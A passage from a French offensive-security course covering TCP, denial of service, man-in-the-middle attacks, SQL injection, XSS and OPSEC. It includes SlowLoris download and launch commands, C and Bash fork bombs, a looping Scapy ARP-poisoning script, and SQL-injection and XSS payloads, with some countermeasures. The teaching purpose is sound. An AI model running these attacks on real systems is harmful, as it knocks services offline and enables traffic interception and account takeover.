 détermine clairement le rôle de chaque élément et protocole
- par une décomposition en couches
- chaque couche servant de support à la couche supérieure

Couches hautes

Couches basses

Noël Macé (noelmace.com)


40
Sécurité offensive : savoir attaquer pour mieux se défendre

Protocoles

b) TCP
Introduction
Deux protocoles de couche transport dans le modèle TCP/IP
 TCP : pour les communications nécessitant une fiabilité des données
- Protocole de contrôle de transmission
 UDP : pour les communications privilégiant le débit
Permettent le dialogue entre applications
 OSI niveau 2 (Liaison) : communication sur réseau local
 OSI niveau 3 (Réseau) : communication entre réseaux
- entre machines distantes
 OSI niveau 4 (Transport) : communication entre applications distantes
i Rôle et structure
Éléments
contrôle des données
 mode connecté
- établissement d'une session de communication entre deux hôtes
(applications)
- à ne pas confondre avec la couche session du modèle OSI (auth)
régulation du débit
 par émission de messages (segments) de taille variable
multiplexage
 cohabitation sur une même ligne d'informations destinées à diverses
applications
 en les identifiant grâce à un numéro (de port)

Noël Macé (noelmace.com)


41
Sécurité offensive : savoir attaquer pour mieux se défendre

Segment TCP

ii Ports TCP
stockés sur 2 octets
défini l'application émettrice et l'application destinataire de l'information
permettent le multiplexage
3 catégories :

ports "bien connus" (Well-known ports)


de 0 à 1023
assignés par l'IANA (Internet Assigned Numbers Authority)
protocoles largement utilisés
exemples : FTP (21), SSH (22), HTTP (80)
voir liste officielle33

ports enregistrés (Registered ports)


de 1024 à 49151
Services enregistrés par l'IANA (officiels) (par exemples : OpenVPN (1194), IPSec
(1293), Cisco X.25 over TCP (XOT) service (1998)) ou non officiels (par exemple :
Windows Live Messenger (1503)).

ports dynamiques / privés


de 49152 à 65535
plus rarement utilisés
iii Fonctionnement
Fiabilité
numéro de séquence
 associé à un paquet lors de son émission
après réception, un "accusé de réception" est envoyé
 paquet avec drapeaux ACK activé (à 1)
 avec un numéro d'acquittement égal au numéro de séquence du paquet reçu

33 - http://www.iana.org/assignments/port-numbers

Noël Macé (noelmace.com)


42
Sécurité offensive : savoir attaquer pour mieux se défendre

+ quantité de données (en octets) reçues


 et un numéro de séquence égal au numéro d'acquittement du paquet reçu
en l'absence de réception de cet "accusé de réception" durant un temps imparti, le
paquet est retransmis
 en cas de réception de deux paquets identiques (même numéro de
séquence), la machine réceptrice ne considérera que le dernier paquet reçu

Établissement de connexion
"synchronisation" des numéros de séquence
Three-way handshake
Deux drapeaux :
 SYN : demande de connexion
 ACK : acquittement (positionné ensuite pour tout les segments échangés sur
une connexion établie)
3 étapes :
1. demande de connexion
2. acquittement + demande de connexion
3. acquittement

Autres drapeaux
 ECN : signale la présence de congestion (RFC 3168)
 URG : données urgentes
 PSH : données à envoyer tout de suite (push)
 RST : rupture anormale de la connexion (reset)
 FIN : demande la FIN de la connexion
Un espace de 5 bits est conservé avant ces drapeaux afin de prévoir des éventuels

Noël Macé (noelmace.com)


43
Sécurité offensive : savoir attaquer pour mieux se défendre

ajouts futurs

Autres éléments
Taille de l'en-tête : essentiel, car la taille de champs Options est variable
Fenêtre : nombre d'octets que le récepteur souhaite recevoir sans accusé de
réception
Somme de contrôle (Checksum ou CRC) : somme des champs de données de l'en-
tête, afin de permettre de vérifier l'intégrité de l'en-tête (cf OSI : répétition avec
l'Ethernet, car cloisonnement des couches)
Pointeur de données urgentes : numéro de séquence à partir duquel l'information
devient urgente
Options : diverses options
Remplissage : par des zéros, afin d'obtenir une taille d'en-tête multiple de 32 bits

3. Déni de service

Une attaque par dénis de service (DoS, pour Denial of Service en anglais) consiste,
par quelque moyen que ce soit, à rendre un service indisponible, pour tout le
monde ou un groupe d'utilisateurs spécifiques.

a) Causes physiques
Un DoS peu résulter, en premier lieux de causes physiques, plus ou moins
prévisibles : panne d'électricité, incendie, inondation, travaux publiques, etc ... Il
est primordial de toujours anticiper ce risque dans le cadre d'une politique de
sécurité (la mise en place de groupes électrogène sera par exemple une réponse
efficace à toute panne d'électricité). Pour un attaquant, de tels accidents peuvent
de plus représenter une véritable opportunité, s'il n'a pas été déclenché par lui
même intentionnellement.

b) Causes réseau

Noël Macé (noelmace.com)


44
Sécurité offensive : savoir attaquer pour mieux se défendre

Remarque
Comme nous le voyons ici, un DoS ne se limite pas, dans sa définition, aux seuls
dénis de services engendrés par attaques via le réseau. Cependant, étant donné la
fréquence de ces attaques, le terme DoS est parfois utilisé, par extension, pour
désigner les seuls dénis de services engendrés par des attaques via le réseau.

Flooding
Le flooding (anglicisme pour inondation) consiste à submerger un réseau, un
service ou un service, suite à l'envoi d'une très grande quantité d'informations. Cela
peu se faire en envoyant une grande quantité de paquets sur un réseau, afin de
submerger les routeurs et/ou la bande passante, ou un grand nombre de requêtes
à un service (comme par exemple un serveur HTTP ou DNS). Les ressources des
serveurs offrant ces services étant limitées, et le traitement de ces requêtes
demandant de la ressources, ce serveur se trouve rapidement incapable de
répondre aux requêtes d'autres utilisateurs.

Smurfing
Le smurfing est une attaque utilisant le protocole ICMP. Lorsqu'un paquet ICMP
ECHO REQUEST est envoyé à une adresse de broadcast, celui-ci est démultiplié, et
envoyé à chacune des machines du réseau. Ainsi, en envoyant un paquet ICMP
ECHO REQUEST avec une adresse source modifiée pour correspondre à l'adresse IP
d'une cible, toutes les machines du réseau ayant reçu cette requête répondront par
un ICMP ECHO REPLY vers la machine cible, la surchargeant ainsi sur la quantité de
paquets.

Packet Fragment
Une attaque de type Packet Fragement est une attaque exploitant certaines
faiblesses du protocole TCP/IP au niveau de la défragmentation des paquets.
Par exemple, une attaque Ping of Death consiste à envoyer une quantité de
données supérieure à la taille maximum d'un paquet IP, grâce à une mauvaise
gestion de la défragmentation dans le protocole ICMP.

Exemple : SlowLoris
SlowLoris est un script Perl permettant de lancer une attaque DoS sur les serveurs
web en utilisant un minimum de ressources et de bande passante. Il est tout
particulièrement efficace contre les serveurs Apache, qui représente la grande
majorité des serveurs web du marché. Pour ce faire, SlowLoris va envoyer des
requêtes HTTP partielles, à intervalles réguliers, afin de garder un maximum de
connexions TCP ouvertes sur une durée maximale.
Pour le télécharger, il vous suffit de récupérer le fichier à cette adresse :
http://ha.ckers.org/slowloris/slowloris.pl 34 et de le rendre exécutable. Pour ce
lancer de manière optimale, slowloris aura besoin des modules perl suivant :
IO::Socket::INET, IO::Socket::SSL, Getopt::Long et threads::shared.

1 Sous GNU/Linux
2 $ wget http://ha.ckers.org/slowloris/slowloris.pl
3 $ chmod +x ./slowloris.pl
4 Il est tout d'abord nécessaire d'installer leslibrairies de
développement ssl :
5 # apt-get install libssl-dev
6 Pour installer les modules perl, on peu passer par CPAN :
7 # perl -MCPAN -e 'install IO::Socket::INET'
8 # perl -MCPAN -e 'install IO::Socket::SSL'

34 - http://ha.ckers.org/slowloris/slowloris.pl

Noël Macé (noelmace.com)


45
Sécurité offensive : savoir attaquer pour mieux se défendre

9 # perl -MCPAN -e 'install Getopt::Long'


10 # perl -MCPAN -e 'install threads::shared'

Ensuite, pour lancer une attaque, il vous suffit de lancer la commande suivante :

1 $ ./slowloris.pl -dns <cible>


2 ou, pour lancer une attaque sur https (souvent plus efficace)
3 $ ./slowloris.pl -dns <cible> -port 443 -https

c) Causes système
Le système d'exploitation et ses services eux même peuvent également être à
l'origine d'un DoS. Les causes peuvent en êtres diverses, aussi bien intentionnelles
que par inadvertance. Voyons donc quelques exemples.

Mauvaise configuration
Une configuration erronée est bien entendue une des premières sources de DoS.
Par exemple, une simple erreur de syntaxe dans un fichier de configuration peu tout
simplement empêcher un service de se lancer. Ces erreurs sont généralement faites
par les administrateurs par simple inadvertance, mais peuvent aussi être introduites
intentionnellement par un attaquant.

Bugs
La encore, un simple bug dans un logiciel ou le système peu entrainer une panne
totale d'un service, voir du système dans son ensemble. Nous connaissons tous le
BSOD (Blue Screen Of Death) de Windows, annonçant qu'une erreur fatale (la
plupart du temps par un bug du système ou d'un driver) est advenue, entraînant un
redémarrage brutal du système.

Fork bomb
En revanche, une Fork bomb est rarement crée par inadvertance. Il s'agit en effet
d'une procédure créant un grand nombre de processus très rapidement sur un
système. Le nombre de processus pouvant être exécutés simultanément sur un
système étant limité, l'OS se retrouve rapidement submergé, sa table de processus
étant saturée par tout ces nouveaux arrivant. Par conséquent, la table de processus
étant saturé, aucun nouveau processus ne peu être lancé, entraînant des
conséquences désastreuses pour le bon fonctionnement du système et de ses
services, et donc un DoS.

Exemple : Fork bomb C

1 include <unistd.h>
2 int main(int argc, char* argv[]
3 {
4 while(1)
5 fork();
6 return(0);
7 }

Noël Macé (noelmace.com)


46
Sécurité offensive : savoir attaquer pour mieux se défendre

Exemple : Fork bomb Bash

1 :(){ :|:&};:

Est une version raccourcie de :

1 forkb(){
2 forkb | forkb &
3 }
4 forkb

d) Dénie de service distribué (DDoS)


Il y a cependant une forte limite à toutes ces techniques : les performances actuelle
des serveurs ! En effet, étant donné la capacité de traitement de requète des
serveurs d'aujourd'hui, réaliser une simple attaque DoS, quelque soit la technique,
n'aboutira que très rarement à un déni de service. Comment, dans ce cas,
augmenter considérable la quantité d'informations envoyées, pour submerger un
serveur ? Il va falloir, tout simplement, multiplier les attaques, à partir de plusieurs
machines. C'est ce qu'on appel le déni de service distribué, ou DDoS (pour
Distributed Deny of Service en anglais).

Méthode
Pour ce faire, deux solutions possibles :
 obtenir le contrôle (au moins partiel) de nombreuses machines sources à
l'insu de leur administrateur
- on parle généralement de "machine zombie", et "d'armées de zombies"
(ou botnets), également utilisé dans le cadre d'autres attaques
(spamming, puissance de calcul pour le cracking de mots de passes,
etc ...)
 ou, plus rarement, faire appel à tout un ensemble de "supporters", qui
offrirons volontairement l'accès nécessaire à leur machine (via un simple
logiciel, non viral).
Cette deuxième solution est généralement privilégiée par les hacktivistes (on parle
alors parfois de cyber-manifestation), mais demeure illégale.
Dans tout les cas, des machines maîtres (masters) doivent être utilisées pour
contrôler ce groupe de daemons, et synchroniser les attaques.

Noël Macé (noelmace.com)


47
Sécurité offensive : savoir attaquer pour mieux se défendre

Architecture d'une attaque DDoS

Noël Macé (noelmace.com)


48
Sécurité offensive : savoir attaquer pour mieux se défendre

4. Attaques de l'homme du milieu


Principe
Une "attaque de l'homme du milieu" ou man in the middle attack (MITM) est une
opération consistant à intercepter les communications entre deux parties. Bien
entendu, cette attaque a également pour but qu'aucune de ces deux parties n'ai
conscience de cette interception.

Objectif
En réalisant cet opération, l'attaquant dispose ainsi de toutes les informations
censées transiter directement entre les deux entités. Il peu donc simplement les
récupérer, ou même les modifier. Cela pourra par exemple être très utile pour
falsifier les clés permettant l'échange "sécurisé" entre ceux deux entités : chacune
croit être connectée directement et de manière sécurisée à l'autre, alors qu'en fait,
elles sont connectées à la machine de l'attaquant, qui sert ensuite de routeur afin
que les personnes et systèmes impliqués ne puissent se rendre compte de la
supercherie.

a) Exemples de techniques
ARP poisoning
L'ARP spoofing, ou ARP poisoning, permet d'utiliser le protocole ARP pour réaliser
une attaque MITM. Pour se faire, l'attaquant va envoyer un paquet ARP qu'il aura lui
même forgé à l'aide d'outil comme Scapy. Ainsi, il pourra modifier à son goût la
table ARP afin de remplacer dans celui ci l'adresse MAC d'une machine par celle de
son choix. Par la suite, toutes les machines souhaitant communiquer avec l'adresse
IP censée correspondre à cette machine (un routeur clé par exemple)
communiquerons donc en fait avec la machine de l'attaquant.

Exemple : Avec Scapy


Scapy est un utilitaire puissant de manipulation de paquets. Il vous permet, de
manière relativement simple, de créer un paquet totalement personnalité, et de
l'envoyer sur le réseau. Par exemple, pour envoyer un paquet ARP comme évoqué
plus haut, nous ferrons :

1 root@bt:/# scapy
2 >>> op=1 # OP code 1 specifies ARP Request
3 >>> victim= # Windows 7's IP
4 >>> spoof= # The router or gateway's IP
5 >>> mac= # The Backtrack's Physical Addrese
6 >>> arp=ARP(op=op,psrc=spoof,pdst=victim,hwdst=mac)
7 >>> send(arp)

Il sera ensuite nécessaire d'envoyer ce second paquet en boucle, grâce par exemple
à un script Python. Pour voir une description en détail des opérations nécessaires,
vous pouvez lire cet article35.

1 #!/usr/bin/env python
2 #
3 # Execute with sudo python arppoison.py
4 # chaque paramètre doit être modifié pour VOTRE cas
5 #
6 # N'oubliez pas ensuite de changer statiquement votre addresse IP
pour prendre celle de la machine spoofée
7 # ip a a <ip spoofée> dev <interface>
8 #

35 - http://www.arppoisoning.com/demonstrating-an-arp-poisoning-attack-2/

Noël Macé (noelmace.com)


49
Sécurité offensive : savoir attaquer pour mieux se défendre

9 from scapy.all import *


10 import time
11 op=1 # Op code 1 for ARP requests
12 victim="192.168.56.10" # la victime du spoof
13 victim2="192.168.56.1" # le routeur
14 spoof="192.168.56.11" # machine spoofee
15 mac="00:0c:29:ec:55:7b" # votre addresse MAC
16 # definition des paquets arp
17 arp=ARP(op=op,psrc=spoof,pdst=victim,hwdst=mac)
18 arp2=ARP(op=op,psrc=spoof,pdst=victim2,hwdst=mac)
19 # boucle infinie pour le spoofing
20 while 1:
21 send(arp)
22 send(arp2)
23 time.sleep(2)

Usurpation d'adresse IP
L'usurpation d'adresse IP (en anglais : IP spoofing ou IP address spoofing) consiste
à envoyer des paquets à un destinataire avec, comme adresse IP source, l'adresse
d'une autre machine. Ainsi, la machine attaquée croira-t-elle avoir à faire à une
autre machine, que l'attaquant remplacera. Ceci peu être fait dans deux objectifs :
soit de dissimuler son identité, soit d'usurper l'identité d'une autre machine et donc
des services correspondants. Cette technique nécessite cependant de réaliser
d'autres opérations afin que l'attaque se déroule comme prévue : DoS sur la
machine "spoofée", établissement/vol de connexion TCP, etc ...

Exemple : Quelques exemples.


Pour une illustration en détail de ce genre d'attaque, vous pouvez consulter cette
page36 ou encore celle-ci37.

b) Contres mesures
à l'ARP spoofing
Contre l'ARP spoofing n'est pas chose forcément aisée. La solution la plus évitente
consiste à mettre en place des ARP statiques, configurés manuellement. Cela va
cependant représenter une très grande charge de travail pour les administrateurs.
Pour ce faire, vous pouvez lancer :

1 Sous Windows :
2 > arp -s 192.168.1.1 11-22-33-44-11-11
3 Sous GNU/Linux :
4 # arp -s 192.168.1.1 11:22:33:44:11:11
5 Sous Cisco IOS :
6 router(config)#arp 192.168.1.2 1122.3344.5566 ARPA

Bien entendu, d'autres solutions sont possibles, et d'autant plus utiles qu'elles
pourront répondre à d'autres risques : surveillance (par exemple avec arpwatch ou
ethercap), port security sur les switchs, etc ...

à l'IP spoofing
Pour se prémunir de l'IP spoofing, il "suffit" d'éviter autant que possible
d'authentifier les machines avec lesquelles nous communiquons via IP uniquement.
Pour pallier à cela, nous pouvons par exemple utiliser du SSL (HTTPS par exemple),
du SSH, de l'IPsec, etc ...

36 - http://bases-hacking.org/ip-spoofing.html
37 - http://www.oil-offshore-marine.com/aker-kvaerner-fraud-attack.php

Noël Macé (noelmace.com)


50
Sécurité offensive : savoir attaquer pour mieux se défendre

5. Injection de données dans un site web

Aujourd'hui, le protocole HTTP est central sur Internet, et dans l'économie en


générale. Les utilisateurs y font passer leurs informations confidentielles, y utilisent
des services clés (virement bancaire par exemple), et y récupèrent de précieuses
informations, qui dictent leur comportement (par exemple, pour trouver le numéro
de téléphone de l'assistance technique dans une organisation). S'introduire dans
ces serveurs web peut donc être une étape primordiale pour un attaquant, sinon un
but final (pour du defacing par exemple). Nous avons déjà évoqué, et continuerons
à évoquer, certaines méthodes permettant de contourner le serveur web lui même,
pour s'introduire dans un système, et ainsi modifier les pages web si nécessaire.
Nous allons voir à présent ici deux méthodes permettant de profiter directement
des failles les plus courantes sur les serveurs web eux même.

a) Injection SQL
Pourquoi ?
La plupart des sites web d'aujourd'hui repose sur une architecture exploitant une
base de donnée pour réaliser la persistance des informations manipulée. Dans la
très grande majorité des cas, ces bases de données sont directement manipulé par
du code SQL, exécuté côté serveur (via PHP, Java, ou autre). Par exemple, lorsque
vous rentrez votre login et votre mot de passe dans un champ d'une page
d'authentification d'un site, une requète SQL est forgée à partir de vos entrée, pour
vérifier dans la base de donnée si votre couple login/mot de passe correspond bien
à un compte existant.

Comment ?
Si les valeurs entrées par un utilisateurs ne sont pas vérifiée avant la création de la
requète SQL, il est donc possible, pour un attaquant, d'utiliser des caractères
spéciaux du SQL ( ; @ -- etc ...) pour modifier la requête SQL prévue à l'origine,
voir lancer la requête SQL de son choix. Bien entendu, cela demande un grand
travail d'audit et de déduction, et de nombreux essais.

Exemple : Exemple concert


Un site utilise la requête suivante pour authentifier les utilisateurs. Si cette requête
renvoi une ligne, alors le couple login / mot de passe est bien valide, et l'accès est
donné.

1 SELECT uid FROM Users WHERE name = '(nom)' AND password = '(mot de
passe hashé)';

Un attaquant peut donc, par exemple, entrer « dupont ' -- » comme nom
d'utilisateur. La requête résultante sera donc la suivante :

1 SELECT uid FROM Users WHERE name = 'Dupont' -- ' AND password =
'4e383a1918b432a9bb7702f086c56596e';
2 équivalente à :
3 SELECT uid FROM Users WHERE name = 'Dupont';

Ici, on ne vérifie plus que le nom de l'utilisateur, ce qui permet à l'attaquant


d'obtenir l'accès sans avoir à rentrer de mot de passe.

Noël Macé (noelmace.com)


51
Sécurité offensive : savoir attaquer pour mieux se défendre

b) Cross Site Scripting

Remarque : A propos du nom


Le nom cette technique (Cross Site Scripting, ou XSS) est bien mal trouvée ... et ne
définie pas vraiment sa réalité. Pour citer Mark Slemko, un des pionners de cette
technique :
« Le problème n'est pas simplement le 'scripting', et il n'y a pas forcément quelque
chose entre plusieurs sites. Alors pourquoi ce nom ? En fait, le nom a été donné
quand le problème était moins bien compris, et c'est resté. Croyez-moi, nous
avions des choses plus importantes à faire que de réfléchir à un meilleur nom. »

Problématique
Dans les fait, le Cross Site Scripting est similaire à l'injection SQL, à cela près qu'il
ne passe pas par du SQL, mais directement par les différents langages du web
(HTML, JavaScript, PHP, etc ...). Il va donc nous permettre d'injecter nos donner
dans un site.

Catégories de XSS
Les failles XSS peuvent être distinguées en 2 catégories :
 XSS réfléchi (non permanent ) : la plus courante, mais aussi celle
permettant le moins de résultat (puisque nécessitant toujours de l'ingénierie
sociale). Cette faille est présente sur tout site réutilisant directement des
paramètres entrés par l'utilisateur pour effectuer un rendu sur la page.
 XSS stocké (permanent) : bien plus efficace, une faille XSS stockée sera
présent à chaque fois qu'une donnée entrée par l'utilisateur est stocké en
mémoire (base de donnée par exemple) pour ensuite être réutilisée, plus ou
moins définitivement, dans une page de résultat. Cette faille permet donc à
l'attaquant de réaliser une modification pérenne sur un site web, via, par
exemple, un commentaire.

Exemple : XSS non permanent


Pour tester si un site est sensible à du XSS par JavaScript, nous pouvons par
exemple rentre le code suivant dans un champ texte :

1 <script type="text/javascript">alert('bonjour')</script>

Si un pop-up "bonjour" apparaît, cela nous indique que nous avons pu injecter
notre code javascript dans le site. Ce sera par exemple le cas avec ce genre de
pages :

1 <html>
2 <body>
3 <h1> XSS </h1>
4 <form method="GET" action="xss.php">
5 <input type="text" id="login" name="login" value="login" />
6 <input type="password" id="pwd" name="pwd" value="mot de passe" />
7 <input type="submit" />
8 </form>
9 </body>
10 </html>

1 <!-- xss.php -->


2 <?php
3 $name = $_GET['login'];
4 echo "Welcome $name<br>";

Noël Macé (noelmace.com)


52
Sécurité offensive : savoir attaquer pour mieux se défendre

5 echo "<a href='http://google.com'> Aller sur google </a>";


6 ?>

On peu dés lors utiliser une attaque XSS comme la suivante, par exemple pour du
phishing (bien entendu, nous aurions pu ici être face à un formulaire, comme par
exemple celui permettant de rappeler un mot de passe, ou une session authentifiée
dans laquelle nous aurions alors pu effectuer une récupération de cookie).

1 <script>
2 window.onload = function() {
3 var link=document.getElementsByTagName("a");
4 link[0].href="http://noelmace.com/";
5 }
6 </script>

Exemple : Sur internet


Vous pouvez retrouver un exemple complet de XSS ici38.

G. Challenges

Rien de mieux que la pratique pour apprendre ! Seul problème avec le cracking : la
mise en pratique de la plupart de vos connaissances sur des systèmes ne vous
appartenant pas est généralement illégal, et mettre en place un laboratoire de test
vous même à plusieurs (gros) inconvénients : cela nécessite temps, argent, mais
surtout, cracker un système que vous avez vous même mis en place est
difficilement un véritable challenge (essayez de devinez ce que vous pensez ... n'est
pas très difficile).
Heureusement, la communauté hacker a mis en place depuis longtemps de
nombreux challenges sur Internet. Ceux-ci vous permettrons de tester vos
connaissances mais aussi de les améliorer, si besoin grâce à l'aide d'autres
personnes parfois, et ce en toute légalité. Voici donc quelques sites de hacking
challenge incontournables :

1. Pour débuter

alph4net
5 challenges simples, en français
http://alph4net.free.fr/index_challenge.htm39

Hax Tor
20 challenges simples assez ludiques (car un peu tordu)
http://hax.tor.hu40

Newbie Contest
Des challenges en français accessibles aux débutants.
http://www.newbiecontest.org/41

38 - http://www.thegeekstuff.com/2012/02/xss-attack-examples/
39 - http://alph4net.free.fr/index_challenge.htm
40 - http://hax.tor.hu
41 - http://www.newbiecontest.org/

Noël Macé (noelmace.com)


53
Sécurité offensive : savoir attaquer pour mieux se défendre

2. Pour s'amuser

Le BIG Challenge
Un site en français, conçu comme un véritable jeux de rôle. Incontournable.
http://bigchallenge.free.fr/42

Mod X
Encore un site de challenges conçues sur le modèle des fonctions interactives et
jeux de rôle. Un peu complexe et en anglais, mais très ludique.
http://www.mod-x.co.uk43

3. Pour confirmer

Dare Your Mind


13 catégories, 190 challenges, et un forum intégré pour obtenir de l'aide sur
chaque challenge. Le tout dans une interface simple.
http://www.dareyourmind.net/44

Hacks BBS
Un site en français, comprenant 50 challenges de très bonne qualité.
http://hackbbs.org/45

42 - http://bigchallenge.free.fr/
43 - http://www.mod-x.co.uk
44 - http://www.dareyourmind.net/
45 - http://hackbbs.org/

Noël Macé (noelmace.com)


54
Sécurité
V-

V
opérationnelle

Fondamentaux 61
Confidentialité des données 65
Sécurisation des échanges 72

A. Fondamentaux

1. Introduction à la sécurité opérationnelle

Définition : OPSEC
« OPSEC ou Sécurité opérationnelle est une méthode pour se prémunir des risques
que peut courir une structure si des informations sensibles sont acquises par des
adversaires à cette structure. » - Wikipedia46
De manière plus exacte, la sécurité opérationnelle s’intéresse avant tout à la
protection de "petites" données qui, individuellement, ne représentent que peu
d'informations, mais peuvent représenter une information critique une fois
assemblés.

Origine
Les principes établis dans l'OPSEC (de l'anglais OPerations SECurity) n'ont rien de
nouveau, et sont utilisée depuis la nuit des temps, assez naturellement. Cependant
la formalisation des pratiques et procédures de l'OPSEC (et le non lui même) sont
assez récentes. En effet, le premier à formaliser ces méthodes fut Ulysse Sharp,
officier des forces armées américaines, durant la guerre du Viêt Nam. Constatant
que l'ennemi arrivait alors assez régulièrement à obtenir des informations sur ses
opérations miliaires, l'officier Sharp décida de mettre en place une équipe (la Purple
Dragon Team) afin d'en déterminer la cause. Et la cause était en fait toute
évidence, et fut découverte rapidement. Ni fuite de données considérées alors
comme hautement sensibles, ni espionnage n'était à l'origine de l'efficacité de
l'ennemi, mais seulement une certaine tendance dans l’exécution des opérations
américaine, qui permettait en effet de déduire assez simplement les opérations
suivantes par simple observation.

46 - https://fr.wikipedia.org/wiki/OPSEC_%28renseignement%29

Noël Macé (noelmace.com)


55
Sécurité opérationnelle

Women's Army Corps anti-rumor propaganda (1941–1945)

Usage
Si l'OPSEC est donc avant tout d'origine militaire (le terme reste encore très lié à la
défense américaine dans les esprits), elle représente une solution parfaitement
adaptée (et même primordiale) pour de nombreux autres domaines : protection de
la vie privée, protection des sources journalistiques, protection d'opposants
politiques, etc ... Elle concerne donc aujourd'hui tous et chacun, et vous
constaterez d'ailleurs rapidement qu'elle peu parfaitement s'appliquer à votre
propre quotidien.

Objectifs
L'OPSEC a donc avant tout pour but de se prémunir de toute étude de nos
comportements et informations privées. Elle s'oppose donc au renseignement
(écoute, espionnage, etc ...).

Technologies mises en œuvre


L'OPSEC consiste avant tout à la modification des comportements, et la mise en
œuvres de méthodologies. Cependant, son application aux systèmes d'information
(et donc à l'informatique) est indissociable de certains concepts techniques utilisés
par ailleurs dans un cadre bien plus large, et s'articule avant tout autour de deux
axes : la protection des données (grâce à la cryptographie par exemple) et la
sécurisation des échanges, axée autour des solutions offertes par la COMSEC, pour
garantir la non-traçabilité.

Interêt
Aborder l'OPSEC est donc primordiale, étant donné son importance croissante dans
notre travail et notre quotidien. Mais c'est également l’opportunité de se familiariser
avec certaines techniques applicables à une dimension bien plus large de la
sécurité.

Noël Macé (noelmace.com)


56
Sécurité opérationnelle

2. Méthodologie de l'OPSEC
5 étapes
La NSSDD 28847 (National Security Decision Directive, directive de sécurité de la
sécurité nationale américaine numéro 288 du 22 Janvier 1988) fut un des premiers
documents définissant l'OPSEC de manière officielle. Elle y définit 5 étapes :
1. identification de l'information critique à protéger
2. analyse des menaces
3. analyse des vulnérabilités
4. évaluation des risques
5. application des contres mesures

Identification de l'information critique à protéger


Première étape de l'OPSEC : déterminer les information qui, si disponibles à un
adversaire, peuvent représenter un frein pour l'organisation dans la réalisation de
ses activités. Ces informations critiques se doivent d'être classifiées, celons leur
criticité, ou au minimum protégées en tant qu'informations déclassifiées sensibles.

Analyse des menaces


Déterminer ensuite les adversaires éventuels est primordiale pour la bonne
classification des information, chacune de ces information pouvant revêtir une
important différente suivant les objectifs de l'ennemi. Il sera également important
d'évualuer par la même occasion les capacités de renseignement de ces
adversaires.

Analyse des vulnérabilités


Une fois les adversaires éventuels déterminés, une analyse en profondeur des
vulnérabilité doit être réalisée, du point de vu des adversaires eux même.

Evaluation des risques


Cette étape consiste à mettre en correspondance vulnérabilité et menaces, afin de
déterminer l'importance réelle de la résolution d'une vulnérabilité.

Application des contres mesures


L'ultime étape, après réalisation d'une étude complète, est bien entendu
l'application des mesures visant à palier aux principaux risques, et donc à résoudre
les vulnérabilités faisant fasses aux plus grandes menaces.

3. Quelques exemples de contextes pour l'OPSEC

Pourquoi ?
La méthodologie de l'OPSEC peut amener à des conclusion extrêmement
différentes, suivant les adversaires, et les informations identifiées comme sensible.
Une stratégie d'OPSEC, même si reposant sur une même approche procédurale,
pourra donc amener à des conclusions extrêment différentes d'une autres. Voyons
donc rapidement quelques exemples simples de contextes où l'OPSEC peu être
appliquée.

47 - http://www.fas.org/irp/offdocs/nsdd298.htm

Noël Macé (noelmace.com)


57
Sécurité opérationnelle

a) Journaliste
Adversaire et informations sensibles
Ennemis potentiels : gouvernements, organisations ciblées par un reportage
Informations critiques : sources

Explication
Pour protéger ses sources, et l'information qu'il compte divulguer, le journaliste se
doit de respecter une OPSEC stricte face à d'éventuels gouvernements souhaitant
limiter la liberté de la presse. La Syrie, par exemple, est un pays où la liberté de la
presse est fortement compromise par le gouvernement, mais également d'autres
pays, riches et démocratiques, à certains moments de l'histoire (comme la France,
dont la place dans le classement mondial de la liberté de la presse 48 établi par
Reporter Sans Frontière est passée de 31ème à 44ème entre 2007 et 2010). Les
organisations étant sujets de certains reportages peuvent également représenter
un autre adversaire, avec des moyens, et donc des menaces, différents.

Contre mesures
Protéger les sources signifie protéger l’identité des personnes désireuses de nous
communiquer de l'information. Il est donc ici primordial de s'assurer que les
communications avec cette personne seront sécurisées, aussi bien dans leur
contenu que dans leur contexte. Par exemple, le journaliste peu utiliser un
téléphone spécialement dédié aux communications avec ses sources. Il se devra
cependant de faire extrêmement attention à ce que ce téléphone ne puisse être
relié à sa propre identité, sans quoi le gouvernement pourra en déduire qu'il est
utilisé pour communiquer avec les sources, récupérer les "fadettes" (métadonnées
de communications téléphoniques), permettant de déterminer avec qui le
journaliste aura communiqué ... et voici la source compromise. Le mot clé ici (et
dans beaucoup de cas pour l'OPSEC) est le cloisonnement ! Il est impératif de
cloisonner ses différentes activités (vie publique, privée et journalistique) afin
qu'aucun lien ne puisse être établi entre elles par recoupement d'informations. Par
exemple, systématiquement utilisé le téléphone dédié à la communication avec les
sources à son domicile ne sert à rien ! Un autre aspect de ce cloisonnement est la
divulgation des informations sensibles aux proches. Même si une confiance absolue
peu être vouée à une certaine personne dans un contexte privé, informer cette
même personne de ces information sensible met directement la personne, le
journaliste et ses sources en danger.

4. Cas pratique de mise en œuvre de l'OPSEC


Le sujet sera ici un homme d'affaire devant réaliser des déplacement à l'étranger, et
transportant des informations critiques sur l'activité de son entreprise. Ces activités
sont totalement légales, mais représente à secret économique à conserver.

Question
En vous inspirant des exemples de contextes d'OPSEC, réalisez un plan d'OPSEC
pour le contexte présenté ci-dessus. Identifier les informations critiques, le ou les
adversaire, les vulnérabilité et le facteur risque de chaque vulnérabilité. Vous
présenterez ensuite quelques pistes pour d'éventuelles contres mesures, sans
rentrer dans les détails.

48 - http://fr.rsf.org/spip.php?page=classement

Noël Macé (noelmace.com)


58
Sécurité opérationnelle

B. Confidentialité des données

1. Chiffrement

a) Introduction à la cryptographie
i Principe

Définition : Cryptographie
« La cryptographie est une des disciplines de la cryptologie s'attachant à protéger
des messages (assurant confidentialité, authenticité et intégrité) en s'aidant
souvent de secrets ou clés. » - Wikipedia49

Machine de Lorenz, utilisée par les Allemands durant la Seconde Guerre mondiale
pour chiffrer les communications militaires de haut niveau entre le quartier-général
du Führer et les quartiers-généraux des groupes d'armées

ii Vocabulaire
Clé
Une clé est une information utilisée en entrée d'une opération cryptographique
(chiffrement, déchiffrement, signature numérique et vérification de signature). Elle
peu être symétrique, ou asymétrique. Dans chacun des cas, une clé est l'unique
élément permettant de réaliser un chiffrement et/ou un déchiffrement d'une
donnée. Elle représente donc une information de niveau critique.

Chiffrer ou crypter ?
En français, il est obligatoire de faire bien attention aux anglicismes quand on parle
de cryptographie. Les termes "décrypter" et "déchiffrer" n'ont en effet pas le même
sans, et le terme "crypter" n'existe pas !
L'usage du terme chiffrer (et ses dérivés : chiffrement, déchiffrement, etc ...)
suppose que l'opération est réaliser de manière "normale", c'est à dire grâce à la
clé correspondante. Les dérivés de l’anglicisme "cryptage" supposent, eux, que
cette opération est un cracking, puisque réalisé sans la clé. On parlera donc de
chiffrement quand un message est rendu secret grâce à la cryptographie, mais
jamais de cryptage (ou crypter), puisque cette opération ne peu être réalisée sans
